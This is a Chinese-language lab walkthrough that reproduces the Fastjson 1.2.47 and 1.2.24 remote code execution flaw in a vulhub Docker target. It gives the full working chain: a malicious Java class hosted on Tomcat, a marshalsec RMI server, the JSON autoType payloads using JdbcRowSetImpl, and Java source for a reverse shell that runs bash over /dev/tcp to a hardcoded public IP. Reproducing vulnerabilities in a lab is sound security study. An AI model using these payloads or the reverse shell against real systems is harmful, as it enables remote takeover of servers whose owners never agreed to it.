实验环境
攻击机C:Windows 10 企业版 LTSC
靶机A:CentOS8 (公网)
监听主机B:Centos7(公网)
项目地址:
https://github.com/vulhub/vulhub
该篇复现环境是fastjson1.2.47,复现手法同时适用于fastjson1.2.24,payload已在下文提供

基础环境搭建
在靶机A上安装docker
curl https://download.docker.com/linux/centos/docker-ce.repo -o /etc/yum.repos.d/docker-ce.repoyum install https://download.docker.com/linux/fedora/30/x86_64/stable/Packages/containerd.io-1.2.6-3.3.fc30.x86_64.rpmyum install docker-cesystemctl start docker
更换镜像源
vi /etc/docker/daemon.json
修改文件内容,镜像源地址可以用阿里云的镜像地址,百度的镜像源会有一个包下载很慢。自己登陆阿里云获取
{"registry-mirrors": ["https://xxxxx.mirrors.aliyun.com"]}

保存退出之后,重新加载配置,重启docker
systemctl daemon-reloadsystemctl restart docker
摘取镜像
docker pull busybox
成功打印出"hello world"说明配置成功
docker run busybox echo “hello world”
到此docker配置完成
接下来部署实验环境

实验环境搭建
项目地址
https://github.com/vulhub/vulhub
下载后上传至靶机A任意目录,进入目录
vulhub-master/fastjson/1.2.47-rce
启动docker编译
docker-compose up -d
PS
很多人pip装不上,这里的方法亲测有效;
yum install -y python38wget https://bootstrap.pypa.io/get-pip.pysudo python3 get-pip.pypip -versionpip install docker-compose


在监听主机B上安装Tomcat,远程加载恶意类。
拉取docker镜像
docker pull rightctrl/tomcat
映射到服务器8080端口
docker run -d --name tomcat -p 8080:8080 rightctrl/tomcat
访问http://ip:8080

把编译好的恶意类拷贝进docker环境,具体路径进入docker查找
docker cp TouchFile.class tomcat:/opt/tomcat/webapps/
TouchFie.class的java源码如下:
import java.lang.Runtime;import java.lang.Process;public class TouchFile {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"touch", "/tmp/success"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}}
上传成功后确认可以访问TouchFile.class

继续在监听主机B上使用marshalsec快速开启rmi或ldap服务
marshalsec项目地址
https://github.com/mbechler/marshalsec
使用maven编译jar包
mvn clean package -DskipTests
进入target目录,并开启rmi或者ladp服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://恶意类的IP:8080/#TouchFile 8088


复现步骤
攻击机C上直接访问搭好的漏洞环境

payload
//1.2.24以下版本{"a":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:8088/TouchFile","autoCommit":true}}//1.2.47以下版本{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:8088/TouchFile","autoCommit":true}}
发送请求后,rmi服务器收到响应,远程加载恶意类TouchFile.class

可以看到已经成功执行touch /tmp/success

同理可反弹shell
反弹shell文件(除了远程加载的恶意类不同,其他操作均相同)
import java.io.BufferedReader;import java.io.InputStream;import java.io.InputStreamReader;public class Exploit{public Exploit() throws Exception {Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/175.24.81.132/9999;cat <&5 | while read line; do $line 2>&5 >&5; done"});InputStream is = p.getInputStream();BufferedReader reader = new BufferedReader(new InputStreamReader(is));String line;while((line = reader.readLine()) != null) {System.out.println(line);}p.waitFor();is.close();reader.close();p.destroy();}public static void main(String[] args) throws Exception {}}
在监听主机B上同时用NC监听端口

成功拿shell


本文详细介绍如何在CentOS环境下利用FastJSON 1.2.47版本的远程代码执行(RCE)漏洞,包括搭建实验环境、配置Docker、安装Tomcat以及复现漏洞的具体步骤。
3630






